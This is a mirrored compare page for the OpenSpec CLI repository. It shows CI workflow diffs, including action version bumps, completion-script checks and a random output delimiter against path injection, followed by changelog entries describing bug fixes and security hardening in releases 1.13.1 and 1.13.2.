mirror of
https://github.com/Fission-AI/OpenSpec.git
synced 2026-10-03 22:13:19 +08:00
Compare commits
70
Commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
db23097835 | ||
|
|
7ac58dc790 | ||
|
|
336414665f | ||
|
|
072de6bc39 | ||
|
|
d6bdef6577 | ||
|
|
fb1b87613b | ||
|
|
f2812f6d18 | ||
|
|
72fbe4c904 | ||
|
|
ed5d386a55 | ||
|
|
1d35e90880 | ||
|
|
8826c0c4a1 | ||
|
|
f179ed4e40 | ||
|
|
1515edbbbd | ||
|
|
02d8c243c4 | ||
|
|
fd56e12c9e | ||
|
|
0b5ce44b55 | ||
|
|
fe81461d51 | ||
|
|
2a8500a849 | ||
|
|
1d2f8f2b75 | ||
|
|
fe429a13dc | ||
|
|
5b55263775 | ||
|
|
a5ceea32cf | ||
|
|
d3d770736f | ||
|
|
e09916e232 | ||
|
|
c681df7058 | ||
|
|
91f2925c63 | ||
|
|
416599a85e | ||
|
|
0dde57b401 | ||
|
|
a64303fe1e | ||
|
|
02fade2077 | ||
|
|
518e1a0124 | ||
|
|
bae58cf614 | ||
|
|
634c557bd0 | ||
|
|
eb03b9e933 | ||
|
|
3312af4799 | ||
|
|
5f5914e7f7 | ||
|
|
9827762d2d | ||
|
|
11a9691524 | ||
|
|
62106f40e3 | ||
|
|
e67ac47f3a | ||
|
|
605d9e7a2b | ||
|
|
626269ed73 | ||
|
|
086c93b40b | ||
|
|
7090e16d74 | ||
|
|
a5bf5c6844 | ||
|
|
6a87a514ec | ||
|
|
fede536c27 | ||
|
|
8fc65b7f70 | ||
|
|
92fb72d1dc | ||
|
|
4c369e022b | ||
|
|
8146be5546 | ||
|
|
72bf7600a5 | ||
|
|
388d34473a | ||
|
|
2ef6fbde3d | ||
|
|
9f8dec5dd9 | ||
|
|
208b5b5510 | ||
|
|
5d221456e5 | ||
|
|
e01ed070f1 | ||
|
|
db560ae33f | ||
|
|
46ff91f2d6 | ||
|
|
4b5c07a0c2 | ||
|
|
767d63c926 | ||
|
|
6e62b1d522 | ||
|
|
e571b5b9ae | ||
|
|
3b8e5b6616 | ||
|
|
7de24044ef | ||
|
|
8b99c07bd0 | ||
|
|
09a999bbb2 | ||
|
|
09984b8242 | ||
|
|
b928165276 |
@@ -42,6 +42,10 @@ jobs:
|
||||
- 'pnpm-workspace.yaml'
|
||||
- 'scripts/update-flake.sh'
|
||||
- '.github/workflows/ci.yml'
|
||||
# The Nix build runs `openspec completion generate`, so a change to
|
||||
# the generator can break packaging without touching flake.nix.
|
||||
- 'src/commands/completion.ts'
|
||||
- 'src/core/completions/**'
|
||||
|
||||
test_matrix:
|
||||
name: Test (${{ matrix.label }})
|
||||
@@ -77,7 +81,7 @@ jobs:
|
||||
persist-credentials: false
|
||||
|
||||
- name: Setup pnpm
|
||||
uses: pnpm/action-setup@0977fd99725f1db4007ccb2928dbb4e90d06cc86 # v6
|
||||
uses: pnpm/action-setup@ea17c68df8912ef543352723c149a84f56e3d413 # v6.1.0
|
||||
|
||||
- name: Setup Node.js
|
||||
uses: actions/setup-node@820762786026740c76f36085b0efc47a31fe5020 # v7.0.0
|
||||
@@ -132,7 +136,7 @@ jobs:
|
||||
persist-credentials: false
|
||||
|
||||
- name: Setup pnpm
|
||||
uses: pnpm/action-setup@0977fd99725f1db4007ccb2928dbb4e90d06cc86 # v6
|
||||
uses: pnpm/action-setup@ea17c68df8912ef543352723c149a84f56e3d413 # v6.1.0
|
||||
|
||||
- name: Setup Node.js
|
||||
uses: actions/setup-node@820762786026740c76f36085b0efc47a31fe5020 # v7.0.0
|
||||
@@ -176,10 +180,10 @@ jobs:
|
||||
persist-credentials: false
|
||||
|
||||
- name: Install Nix
|
||||
uses: DeterminateSystems/nix-installer-action@ef8a148080ab6020fd15196c2084a2eea5ff2d25 # v22
|
||||
uses: DeterminateSystems/nix-installer-action@3138316df39ed29be04236d7ffc686fa525866aa # v23
|
||||
|
||||
- name: Setup Nix cache
|
||||
uses: DeterminateSystems/magic-nix-cache-action@908b263ff629f4cc17666315b7fd3ec127c6244d # v14
|
||||
uses: DeterminateSystems/magic-nix-cache-action@84c0677f58dcedf3b91f8223ce36a9ea5b3c84b7 # v15
|
||||
|
||||
# Run the update script before `nix build`, not after. The script recomputes
|
||||
# the pnpmDeps hash from pnpm-lock.yaml and rewrites flake.nix in place, so a
|
||||
@@ -219,6 +223,19 @@ jobs:
|
||||
echo "Error: openspec binary not found in build output"
|
||||
exit 1
|
||||
fi
|
||||
for completion in \
|
||||
"share/bash-completion/completions/openspec.bash" \
|
||||
"share/fish/vendor_completions.d/openspec.fish" \
|
||||
"share/zsh/site-functions/_openspec"; do
|
||||
if [ ! -s "result/$completion" ]; then
|
||||
echo "Error: completion script missing or empty: $completion"
|
||||
exit 1
|
||||
fi
|
||||
done
|
||||
if [ "$(head -1 result/share/zsh/site-functions/_openspec)" != "#compdef openspec" ]; then
|
||||
echo "Error: zsh completion is not autoloadable (missing #compdef header)"
|
||||
exit 1
|
||||
fi
|
||||
echo "✅ Build output verified"
|
||||
|
||||
- name: Test binary execution
|
||||
@@ -248,10 +265,14 @@ jobs:
|
||||
changed_changesets="$(git diff --name-only --diff-filter=ACMRT origin/main...HEAD -- '.changeset/*.md' ':!.changeset/README.md')"
|
||||
if [[ -n "$changed_changesets" ]]; then
|
||||
echo "has_changesets=true" >> "$GITHUB_OUTPUT"
|
||||
# Run-unique delimiter: the value is a list of PR-authored paths, so a
|
||||
# fixed "EOF" would let a crafted path close the block early and append
|
||||
# its own key=value outputs.
|
||||
delim="EOF_$(openssl rand -hex 16)"
|
||||
{
|
||||
echo "files<<EOF"
|
||||
echo "files<<$delim"
|
||||
echo "$changed_changesets"
|
||||
echo "EOF"
|
||||
echo "$delim"
|
||||
} >> "$GITHUB_OUTPUT"
|
||||
else
|
||||
echo "has_changesets=false" >> "$GITHUB_OUTPUT"
|
||||
@@ -260,7 +281,7 @@ jobs:
|
||||
|
||||
- name: Setup pnpm
|
||||
if: steps.changed-changesets.outputs.has_changesets == 'true'
|
||||
uses: pnpm/action-setup@0977fd99725f1db4007ccb2928dbb4e90d06cc86 # v6
|
||||
uses: pnpm/action-setup@ea17c68df8912ef543352723c149a84f56e3d413 # v6.1.0
|
||||
|
||||
- name: Setup Node.js
|
||||
if: steps.changed-changesets.outputs.has_changesets == 'true'
|
||||
|
||||
@@ -40,7 +40,7 @@ jobs:
|
||||
fetch-depth: 0
|
||||
token: ${{ steps.app-token.outputs.token }}
|
||||
|
||||
- uses: pnpm/action-setup@0977fd99725f1db4007ccb2928dbb4e90d06cc86 # v6
|
||||
- uses: pnpm/action-setup@ea17c68df8912ef543352723c149a84f56e3d413 # v6.1.0
|
||||
|
||||
- uses: actions/setup-node@820762786026740c76f36085b0efc47a31fe5020 # v7.0.0
|
||||
with:
|
||||
@@ -53,7 +53,7 @@ jobs:
|
||||
# Opens/updates the Version Packages PR; publishes when the Version PR merges
|
||||
- name: Create/Update Version PR
|
||||
id: changesets
|
||||
uses: changesets/action@8488615a623b1b9c987934bb89eae8af6a946ac1 # v2.1.1
|
||||
uses: changesets/action@ae32849d5ba541f9ae29e40e22a623bc13562f51 # v2.1.2
|
||||
with:
|
||||
github-token: ${{ steps.app-token.outputs.token }}
|
||||
pr-title: 'chore(release): version packages'
|
||||
@@ -84,7 +84,7 @@ jobs:
|
||||
with:
|
||||
fetch-depth: 0
|
||||
|
||||
- uses: pnpm/action-setup@0977fd99725f1db4007ccb2928dbb4e90d06cc86 # v6
|
||||
- uses: pnpm/action-setup@ea17c68df8912ef543352723c149a84f56e3d413 # v6.1.0
|
||||
|
||||
- uses: actions/setup-node@820762786026740c76f36085b0efc47a31fe5020 # v7.0.0
|
||||
with:
|
||||
|
||||
@@ -51,7 +51,7 @@ jobs:
|
||||
persist-credentials: false
|
||||
|
||||
- name: Setup pnpm
|
||||
uses: pnpm/action-setup@0977fd99725f1db4007ccb2928dbb4e90d06cc86 # v6
|
||||
uses: pnpm/action-setup@ea17c68df8912ef543352723c149a84f56e3d413 # v6.1.0
|
||||
|
||||
# No dependency cache: `pnpm audit` reads the lockfile, nothing is installed,
|
||||
# so a cache-save step would fail on the missing store path.
|
||||
@@ -109,7 +109,7 @@ jobs:
|
||||
persist-credentials: false
|
||||
|
||||
- name: Setup pnpm
|
||||
uses: pnpm/action-setup@0977fd99725f1db4007ccb2928dbb4e90d06cc86 # v6
|
||||
uses: pnpm/action-setup@ea17c68df8912ef543352723c149a84f56e3d413 # v6.1.0
|
||||
|
||||
- name: Setup Node.js
|
||||
uses: actions/setup-node@820762786026740c76f36085b0efc47a31fe5020 # v7.0.0
|
||||
|
||||
+146
@@ -1,5 +1,151 @@
|
||||
# @fission-ai/openspec
|
||||
|
||||
## 1.13.2
|
||||
|
||||
### Patch Changes
|
||||
|
||||
- [#1940](https://github.com/Fission-AI/OpenSpec/pull/1940) [`0b5ce44`](https://github.com/Fission-AI/OpenSpec/commit/0b5ce44b55e0d793a312290ba5a41170a78e47c6) Thanks [@clay-good](https://github.com/clay-good)! - Keep fast-forward clarification guidance and onboarding task approval consistent across generated skills and commands. Fast-forward now asks only when context is critically unclear, while onboarding asks users to approve the task breakdown before saving it and separately asks whether to begin implementation.
|
||||
|
||||
- [#1926](https://github.com/Fission-AI/OpenSpec/pull/1926) [`f2812f6`](https://github.com/Fission-AI/OpenSpec/commit/f2812f6d185f47cb577055f2fe243f12000d6cd2) Thanks [@kevin9327](https://github.com/kevin9327)! - ### Bug Fixes
|
||||
|
||||
- **Archive** — When Windows `EPERM` blocks renaming a change directory that still has children, copy from the original source instead of requiring a staging rename that fails the same way. That lets archive finish instead of rolling back the spec write and leaving an empty capability directory git cannot see. A staging failure that is not `EPERM`/`EXDEV` still leaves the source untouched.
|
||||
|
||||
The source of that unstaged copy is still the live change directory, which the archive claim does not cover, so cleanup removes only the entries it copied and verified rather than whatever is present when it runs. A file written in that window is left alone and the complete destination is retained for recovery, instead of being deleted without ever reaching the archive.
|
||||
|
||||
An edit to a file that was already verified is covered too. Cleanup claims each entry with an atomic rename before reading it, then compares what it claimed against the copy. A rewrite that lands first is caught by that comparison and the file is put back; one that lands after creates a new file at the original path, which is never deleted. Either way the newer bytes stay on disk and archive reports the move as incomplete rather than succeeding with the older copy.
|
||||
|
||||
Rollback of a newly created spec now also prunes the capability directory it created — and only that one. An empty capability directory that was already there is left in place with its own permissions.
|
||||
|
||||
- [#1795](https://github.com/Fission-AI/OpenSpec/pull/1795) [`fb1b876`](https://github.com/Fission-AI/OpenSpec/commit/fb1b87613b7cdbe8d74e8147833904f46f0468c6) Thanks [@runsonmypc](https://github.com/runsonmypc)! - Archive workflows now use schema-aware task progress from `openspec list --json`, so custom task files and globs still trigger incomplete-task warnings.
|
||||
|
||||
- [#1885](https://github.com/Fission-AI/OpenSpec/pull/1885) [`fd56e12`](https://github.com/Fission-AI/OpenSpec/commit/fd56e12c9e7fdbbfdc2dcd0a5ef3fab04840909d) Thanks [@philo-x](https://github.com/philo-x)! - Fix artifact output resolution to recognize brace expansion and extglob patterns while preserving literal output filenames and confining brace-expanded paths to the change directory.
|
||||
|
||||
- [#1964](https://github.com/Fission-AI/OpenSpec/pull/1964) [`7ac58dc`](https://github.com/Fission-AI/OpenSpec/commit/7ac58dc7905a4eeaaad7eff2b2b64cf971fd6ec7) Thanks [@clay-good](https://github.com/clay-good)! - Continue commands now open with an instruction to follow the active OpenSpec workflow directly, so local models no longer try to call a tool named after it ([#1944](https://github.com/Fission-AI/OpenSpec/issues/1944)).
|
||||
|
||||
- [#1964](https://github.com/Fission-AI/OpenSpec/pull/1964) [`7ac58dc`](https://github.com/Fission-AI/OpenSpec/commit/7ac58dc7905a4eeaaad7eff2b2b64cf971fd6ec7) Thanks [@clay-good](https://github.com/clay-good)! - Generate Kilo Code commands in `.kilo/command/`, the directory Kilo Code reads, instead of `.kilocode/workflows/` ([#1938](https://github.com/Fission-AI/OpenSpec/issues/1938)). `openspec init` and legacy cleanup remove the workflow files OpenSpec generated there, matched by their known file names (including copies you edited), and leave files with other names in place.
|
||||
|
||||
- [#1958](https://github.com/Fission-AI/OpenSpec/pull/1958) [`1d35e90`](https://github.com/Fission-AI/OpenSpec/commit/1d35e908804dbb3c4a1851516759c5de190aa4d5) Thanks [@clay-good](https://github.com/clay-good)! - Preserve a file's existing line endings when rewriting it, so Windows users no longer get whole-file diffs. Applying a delta to a CRLF spec (the default on a Windows checkout with `core.autocrlf=true`) rewrote the file to LF, turning a one-requirement change into a diff that touched every line. `openspec archive` now writes the spec back with the convention it already used; a spec that does not exist yet is still written with LF.
|
||||
|
||||
The same fix covers marker-managed files: installing or updating shell completions in a CRLF `.bashrc` or `.zshrc` no longer leaves the file with mixed endings, which `bash` reports as `$'\r': command not found`.
|
||||
|
||||
Removing a managed block is fixed the same way: the blank-line collapse in `removeMarkerBlock` rebuilt its separator as a bare LF, so cleaning up legacy artifacts left a lone LF inside an otherwise-CRLF `CLAUDE.md` or rc file. Both write paths now read the file the same way, by dominant ending, so one stray CRLF in an otherwise-LF file no longer pulls the whole rewrite to CRLF.
|
||||
|
||||
`scripts/pack-version-check.mjs` now spawns `npm` through `cross-spawn`, so the release guard can run on Windows, where `npm` is `npm.cmd` and cannot be resolved by `execFile`.
|
||||
|
||||
- [#1912](https://github.com/Fission-AI/OpenSpec/pull/1912) [`8826c0c`](https://github.com/Fission-AI/OpenSpec/commit/8826c0c4a17d3511947b7c5e0934257f153f0ed2) Thanks [@Tyagiquamar](https://github.com/Tyagiquamar)! - Fix `validate --strict` reporting `PURPOSE_IS_PLACEHOLDER` for a Purpose that opens with the ordinary word "Todo" followed by prose, as in Spanish ("Todo el…") and Portuguese ("Todo o…") specs ([#1897](https://github.com/Fission-AI/OpenSpec/issues/1897)).
|
||||
|
||||
- Case now separates the marker from the word. `TBD`/`TODO` in capitals is still a placeholder marker whatever follows it, so `TODO write this later` is still reported.
|
||||
- In any other case it counts as a marker only when followed by the end of the Purpose, a line break, or marker punctuation (`todo -`, `tbd.`), so an authored Spanish or Portuguese sentence is not reported.
|
||||
|
||||
- [#1744](https://github.com/Fission-AI/OpenSpec/pull/1744) [`5b55263`](https://github.com/Fission-AI/OpenSpec/commit/5b5526377506c2f0179674a869c1ac64ca9ab72d) Thanks [@javigomez](https://github.com/javigomez)! - Clarify the Codex setup hint for CLI, IDE, and desktop app users.
|
||||
|
||||
- [#1809](https://github.com/Fission-AI/OpenSpec/pull/1809) [`a5ceea3`](https://github.com/Fission-AI/OpenSpec/commit/a5ceea32cf110b6d8bbfea0bf1c65fe55abb133b) Thanks [@ryandemelo](https://github.com/ryandemelo)! - Say what a `MODIFIED` block adds when the scenario-loss guard fires ([#1809](https://github.com/Fission-AI/OpenSpec/pull/1809)). `openspec validate` and `openspec archive` already named the scenarios a block omits. They now also print how many scenarios each side has and which ones the block introduces, capped at three names, so a rename and a truncation read differently without opening either file. The guard catches exactly what it did before, and no exit code changes.
|
||||
|
||||
- [#1731](https://github.com/Fission-AI/OpenSpec/pull/1731) [`d6bdef6`](https://github.com/Fission-AI/OpenSpec/commit/d6bdef6577a077614382ef47b64100852182d6a6) Thanks [@runsonmypc](https://github.com/runsonmypc)! - Stop workflows from displaying schema names that `openspec list --json` does not return. Update and continue no longer fabricate a `spec-driven` picker label, while bulk archive and explore describe only the change fields the list command actually provides.
|
||||
|
||||
- [#1955](https://github.com/Fission-AI/OpenSpec/pull/1955) [`ed5d386`](https://github.com/Fission-AI/OpenSpec/commit/ed5d386a559c0215af1182d479d7f99b309fdcd2) Thanks [@clay-good](https://github.com/clay-good)! - Task guidance now requires each task group to land its own tests and documentation updates instead of deferring them to a trailing group. The onboarding walkthrough teaches the same rule, and the published schema reference no longer quotes stale instruction text.
|
||||
|
||||
- [#1939](https://github.com/Fission-AI/OpenSpec/pull/1939) [`a64303f`](https://github.com/Fission-AI/OpenSpec/commit/a64303fe1e24f08dbf44f78032fadbeac3a6f7fa) Thanks [@clay-good](https://github.com/clay-good)! - Return a nonzero exit status when `openspec update --force` cannot replace a legacy-only Codex installation.
|
||||
|
||||
- [#1733](https://github.com/Fission-AI/OpenSpec/pull/1733) [`72fbe4c`](https://github.com/Fission-AI/OpenSpec/commit/72fbe4c904707396151921a20b506d081a9dc024) Thanks [@runsonmypc](https://github.com/runsonmypc)! - Let `/opsx:update` fill a missing file under an already-satisfied glob artifact. A glob artifact is complete once one file matches it, and `/opsx:continue` only picks up `ready` artifacts, so the previous "point the user to `/opsx:continue`" handoff was unreachable and the missing file could never be created through the documented flow.
|
||||
|
||||
- [#1962](https://github.com/Fission-AI/OpenSpec/pull/1962) [`3364146`](https://github.com/Fission-AI/OpenSpec/commit/336414665f3f987ae424177ab1b6891a4304baeb) Thanks [@ryandemelo](https://github.com/ryandemelo)! - Stop `/opsx:verify` from reporting a correctly removed requirement as missing. Verify now reads which delta section each requirement sits under: ADDED and MODIFIED requirements are checked for an implementation as before, a REMOVED requirement passes once its behavior is gone and is flagged only while it is still present, and the old name of a RENAMED requirement is no longer reported as missing.
|
||||
|
||||
- [#1732](https://github.com/Fission-AI/OpenSpec/pull/1732) [`072de6b`](https://github.com/Fission-AI/OpenSpec/commit/072de6bc39b1c47b9aacf4d484be16345ca4f38e) Thanks [@runsonmypc](https://github.com/runsonmypc)! - Stop `/opsx:verify` from reporting skipped checks as passing. Task completion now uses the schema-aware `tasks` and `progress` fields returned by apply instructions, while absent spec or design inputs are mapped to every check they prevent. Apply instructions aggregate every file matched by the configured task path or glob, regardless of the tracked artifact ID. Verification stays advisory and does not require optional or intentionally omitted artifacts. The scorecard identifies each skipped check, and the final assessment does not claim archive readiness when any check did not run.
|
||||
|
||||
- [#1769](https://github.com/Fission-AI/OpenSpec/pull/1769) [`d3d7707`](https://github.com/Fission-AI/OpenSpec/commit/d3d770736fc01bb246b4f12a7cef7e3572ec1fb6) Thanks [@kikeprzn](https://github.com/kikeprzn)! - Fix `openspec archive` leaving `.openspec-archive.lock` behind on Windows. Node can report `dev: 0n` from a path stat while the open file handle reports the real volume id, so the claim-ownership check never matched and the stale lock blocked every later archive. The check now treats an absent device id as unavailable while still requiring the inode and the claim's contents to match before unlinking.
|
||||
|
||||
## 1.13.1
|
||||
|
||||
### Patch Changes
|
||||
|
||||
- [#1864](https://github.com/Fission-AI/OpenSpec/pull/1864) [`767d63c`](https://github.com/Fission-AI/OpenSpec/commit/767d63c926ab1996170f2d101acac0bac6da0287) Thanks [@dwin-gharibi](https://github.com/dwin-gharibi)! - Stop archive adding a second copy of an existing requirement under a name that differs only in case or spacing. ADDED and the RENAMED target compared requirement names exactly, while REMOVED and the RENAMED source already treated a case or whitespace variant as a mistyped header, so an ADDED `late fees` beside an existing `Late Fees`, or a rename to `LATE FEES`, archived cleanly and left two contradicting requirements in the main spec, which `validate` then accepted. Both now refuse with an error naming the existing requirement, in the same form REMOVED already used. The exact-duplicate error is unchanged, a case-only rename of a requirement to its own name still works, and a variant of a requirement the same delta removes or renames away is still allowed, because ADDED is checked against the spec as it stands after the earlier operations, as the exact check already was.
|
||||
|
||||
- [#1872](https://github.com/Fission-AI/OpenSpec/pull/1872) [`72bf760`](https://github.com/Fission-AI/OpenSpec/commit/72bf7600a5f7bdf74d6387e163577086fb4c68e0) Thanks [@dwin-gharibi](https://github.com/dwin-gharibi)! - Make `openspec completion uninstall bash` hand `.bashrc` back exactly as `completion install bash` found it. Install adds the OpenSpec block at the top of the file followed by a blank separator line; uninstall removed the block but kept that blank line at the top, then stripped every trailing blank line and wrote the file back without its final newline. The byte count happened to come out unchanged, but the next tool to append to `.bashrc` with `>>` (the nvm, conda and rustup installers all do) merged its first line into the user's last line and broke both. Uninstall now also drops the separator line install added when the block sits at the top of the file, and leaves the rest untouched: the final newline, trailing blank lines and CRLF line endings all survive the round trip. A block the user moved elsewhere in the file is still removed, and the zsh, fish and PowerShell installers are unchanged.
|
||||
|
||||
- [#1829](https://github.com/Fission-AI/OpenSpec/pull/1829) [`e67ac47`](https://github.com/Fission-AI/OpenSpec/commit/e67ac47f3a164cf6d87ddcd9f50272b88f39ee0c) Thanks [@choi138](https://github.com/choi138)! - Fix bulk archive nesting a change inside an existing archive target. The workflow now checks every archive target before it writes any main spec, the same order `openspec archive` uses. A change whose target already exists, or that shares a target with another selected change, is reported as failed and is never synced or moved, while the rest of the batch continues. The check runs again just before each move.
|
||||
|
||||
- [#1878](https://github.com/Fission-AI/OpenSpec/pull/1878) [`2ef6fbd`](https://github.com/Fission-AI/OpenSpec/commit/2ef6fbde3da95f6e471bcb504d13711308091be0) Thanks [@dwin-gharibi](https://github.com/dwin-gharibi)! - Let `openspec config edit` run an `EDITOR` or `VISUAL` that carries arguments. The whole value was passed to `spawn` as the program name, so common settings such as `code --wait`, `subl -w` or `emacsclient -t` failed with `spawn code --wait ENOENT`, and because that error was never caught the command died with a raw Node stack trace. The value is now split into a program and its arguments, honoring quoted paths with spaces, and the config path is appended as its own argument. No shell is involved, so shell metacharacters in the value are passed through literally. On Windows, `.cmd` shims such as `code.cmd` are found. A value that is itself the absolute path of an existing file is still run as-is, so an unquoted editor path containing spaces keeps working. An editor that cannot be started, exits non-zero or is killed is now reported as a one-line error naming the editor, with an install hint when the program was not found, and the command exits 1 instead of throwing. `EDITOR` still takes precedence over `VISUAL`, and the file is still validated after the editor closes.
|
||||
|
||||
- [#1773](https://github.com/Fission-AI/OpenSpec/pull/1773) [`11a9691`](https://github.com/Fission-AI/OpenSpec/commit/11a9691524bad84a575854bf6dc5124f630479ba) Thanks [@clay-good](https://github.com/clay-good)! - Stop dropping checkbox lines whose marker the task parser does not recognise. A `tasks.md` whose remaining work used a marker other than `[ ]`/`[x]`/`[X]`, for example `- [~] 1.2 Deferred`, reported `✓ Complete` in `openspec list`/`status` and archived with no incomplete-task warning, because unmatched lines counted toward neither the numerator nor the denominator. An empty `[]` and a padded `[ x]` were lost the same way. Only a box holding `x` or `X` means done (spacing inside the brackets is ignored, so `[ x]` is done), and every other marker now reads as unfinished, across progress, the apply task list, archive's gate and validate's task-numbering check. The archive, bulk-archive and verify workflows now tell agents the same rule, so a hand-counted tally cannot disagree with the CLI, and the `tasks` instruction in the `spec-driven` schema states it where agents author the file. Markdown link bullets stay out of the count: `- [Some doc](./doc.md)` and the one-character `- [A](https://example.com)` are not tasks.
|
||||
|
||||
- [#1701](https://github.com/Fission-AI/OpenSpec/pull/1701) [`92fb72d`](https://github.com/Fission-AI/OpenSpec/commit/92fb72d1dcd5fa6e43802c5b2f74b5e78416e545) Thanks [@clay-good](https://github.com/clay-good)! - Agent-driven archive and sync workflows now create a missing main spec from `ADDED` requirements instead of treating it as already synced. They block sync rather than inventing `MODIFIED` or `RENAMED` requirements or writing an empty spec for a `REMOVED`-only delta, while preserving the user's explicit choice to archive without syncing. A REMOVED-only delta with `retire_capabilities: true` remains already synced when its main spec is gone. Fixes [#1222](https://github.com/Fission-AI/OpenSpec/issues/1222) and [#1264](https://github.com/Fission-AI/OpenSpec/issues/1264).
|
||||
|
||||
- [#1804](https://github.com/Fission-AI/OpenSpec/pull/1804) [`a5bf5c6`](https://github.com/Fission-AI/OpenSpec/commit/a5bf5c68447f03e4f99206e49e00b5d9111301a4) Thanks [@dwin-gharibi](https://github.com/dwin-gharibi)! - Say so when a requirement in a delta sits outside every delta section. A well-formed `### Requirement:` block written under `## Notes`, under a misspelled header such as `## Add Requirements`, or above the first `## ` header was dropped with no diagnostic: `openspec validate` reported the change valid and `openspec archive` exited 0 without applying it. `openspec validate` now reports each one as a WARNING naming the section and line, and archive prints the same warning. Nothing else changes: the block is still not applied, the verdict stays valid outside `--strict`, and requirements shown inside a code fence are not reported. Fixes [#1803](https://github.com/Fission-AI/OpenSpec/issues/1803).
|
||||
|
||||
- [#1832](https://github.com/Fission-AI/OpenSpec/pull/1832) [`4c369e0`](https://github.com/Fission-AI/OpenSpec/commit/4c369e022b1d397842d2b85675e34da6287f5801) Thanks [@clay-good](https://github.com/clay-good)! - Resolve the contradiction that left explore mode's capture branch without a governing rule. Explore states twice that the agent must ask a direct yes/no question and wait for confirmation in a separate user message before its first write-capable action, naming `openspec new change` as an example, while the capture branch tells the agent to transition "seamlessly" into running `openspec new change` and creating artifacts with no confirmation step. Both readings were defensible from the text, so the same "capture this as a change" request either wrote `.openspec.yaml` plus several artifacts immediately or stopped and asked, depending on which passage the agent weighed, which made the [#1715](https://github.com/Fission-AI/OpenSpec/issues/1715) guarantee unenforceable in the one explore path that writes files. An explicit capture request is now stated to be that confirmation, covering the change and the artifacts the request names and nothing else. The guardrail keeps its teeth for the case [#1715](https://github.com/Fission-AI/OpenSpec/issues/1715) actually reported: when the agent is the one proposing the capture, or when the work would go beyond the requested scope, it still asks first, and answers to design or clarifying questions are still never consent to write. Both explore delivery surfaces and the committed skill carry the same wording. Fixes [#1828](https://github.com/Fission-AI/OpenSpec/issues/1828).
|
||||
|
||||
- [#1788](https://github.com/Fission-AI/OpenSpec/pull/1788) [`62106f4`](https://github.com/Fission-AI/OpenSpec/commit/62106f40e3b7b7364529a2f928717e23e37282eb) Thanks [@clay-good](https://github.com/clay-good)! - Name the workflow where explore hands off. Explore mode refuses to implement, but every place it said what to do instead described the next step as prose ("create a change proposal") without naming the workflow that does it: the refusal itself, the "flow into a proposal" ending, the closing summary, and the do-not-implement guardrail. Its seamless capture path was worse: it scaffolded a change, wrote artifacts, and then said nothing at all about what came next. With no named exit, agents finished the discovery questions and started writing code, which is the failure reported through GitHub Copilot in [#869](https://github.com/Fission-AI/OpenSpec/issues/869), and which the docs already promised would not happen ("when the picture is clear, it hands off to `/opsx:propose`").
|
||||
|
||||
The explore skill and command now name `/opsx:propose` at all four prose handoffs, and the capture path ends by naming `/opsx:propose` for the remaining planning artifacts and `/opsx:apply` for implementation, with an explicit note that capturing artifacts is not permission to implement them. The references are written in the canonical `/opsx:<id>` form so each tool renders the invocation it actually registers (`/openspec-propose` for skills-only delivery, `/opsx-propose`, `/opsx:propose`, or `@opsx-propose` for command surfaces). The handoffs follow the installed workflow set: a custom profile without `propose` or `apply` gets explore's own capture path and the `openspec instructions apply` CLI instead of a command it never installed. Fixes [#869](https://github.com/Fission-AI/OpenSpec/issues/869).
|
||||
|
||||
- [#1787](https://github.com/Fission-AI/OpenSpec/pull/1787) [`9827762`](https://github.com/Fission-AI/OpenSpec/commit/9827762d2d18d8076acf90be79d64894255099ea) Thanks [@clay-good](https://github.com/clay-good)! - ### Bug Fixes
|
||||
|
||||
- Generated skills and commands no longer adopt a project that never ran `openspec init`. Every workflow now checks `root` from `openspec list --json` before its first write, and `"root": null` means the project is not set up. What happens next depends on how the workflow was reached. A skill the agent picked on its own drops OpenSpec and answers the request normally, without asking about setup. A workflow the user asked for by name, or ran as a slash command, stops and asks whether to initialize the project, target a store, or handle the request without OpenSpec. A project whose `openspec/config.yaml` names a store this machine cannot resolve (not registered, or a malformed `store:` line) is not mistaken for an uninitialized one: the workflow stops and shows the store error. Neither path lets `openspec new change` create `openspec/` in the current directory as a side effect. Skill descriptions now name OpenSpec so hosts stop offering these workflows in unrelated repositories. `openspec new change` also says when it had to create the root itself, so a directory that was never set up no longer picks up an `openspec/` directory in silence (human output only; `--json` is unchanged).
|
||||
|
||||
- [#1902](https://github.com/Fission-AI/OpenSpec/pull/1902) [`eb03b9e`](https://github.com/Fission-AI/OpenSpec/commit/eb03b9e93320cf74a0df9043577d8023116cb1aa) Thanks [@clay-good](https://github.com/clay-good)! - Harden the CLI against repositories you have cloned but not yet read ([#1835](https://github.com/Fission-AI/OpenSpec/pull/1835)).
|
||||
|
||||
- A `config.yaml` value can no longer close the project context block and inject its own directives into the instructions an agent receives.
|
||||
- A crafted delta or skill file no longer stalls `openspec update` or `openspec archive` with catastrophic regex backtracking.
|
||||
- A repository's `.npmrc` can no longer point the update check at a cleartext or attacker-controlled registry; a rejected registry now disables the check instead of falling back.
|
||||
- `openspec update` now notices a generated `SKILL.md` that was edited by hand and restores it, instead of reporting every tool as up to date.
|
||||
- `DO_NOT_TRACK=true` and other common spellings of an opt-out now turn telemetry off, and nothing is sent until the first-run notice has been shown.
|
||||
- Shell-completion installs quote directory paths safely, git probes run with bounded time and output, and dependencies are cleared of known advisories.
|
||||
|
||||
- [#1874](https://github.com/Fission-AI/OpenSpec/pull/1874) [`388d344`](https://github.com/Fission-AI/OpenSpec/commit/388d34473a40529320b2b7b9c5bb6723d18322b0) Thanks [@dwin-gharibi](https://github.com/dwin-gharibi)! - Stop legacy cleanup deleting the user's own files. The six pre-skills tools that kept their commands in a `<tool>/commands/openspec/` folder (Claude Code, CodeBuddy, Qoder, Lingma, Crush and Gemini CLI) had that whole folder removed recursively whenever it existed, so a command the user kept there, such as a team review checklist, was deleted along with OpenSpec's files, and the summary named only the folder. Because `openspec init` cleans up automatically when there is no TTY, an agent or CI running plain `openspec init` did this without `--force` and without a prompt, and `openspec update --force` did the same. Cleanup now deletes only the files OpenSpec wrote there: `proposal`, `apply` and `archive` files that still carry the OpenSpec markers every legacy command was generated with, so a same-named file the user wrote is kept. It never follows a symlinked command folder, removes the folder only once nothing else is left in it, and lists each thing it kept. A folder holding nothing OpenSpec wrote is no longer reported as legacy at all. A folder holding only OpenSpec's files, or nothing, is still removed exactly as before, with the same summary line.
|
||||
|
||||
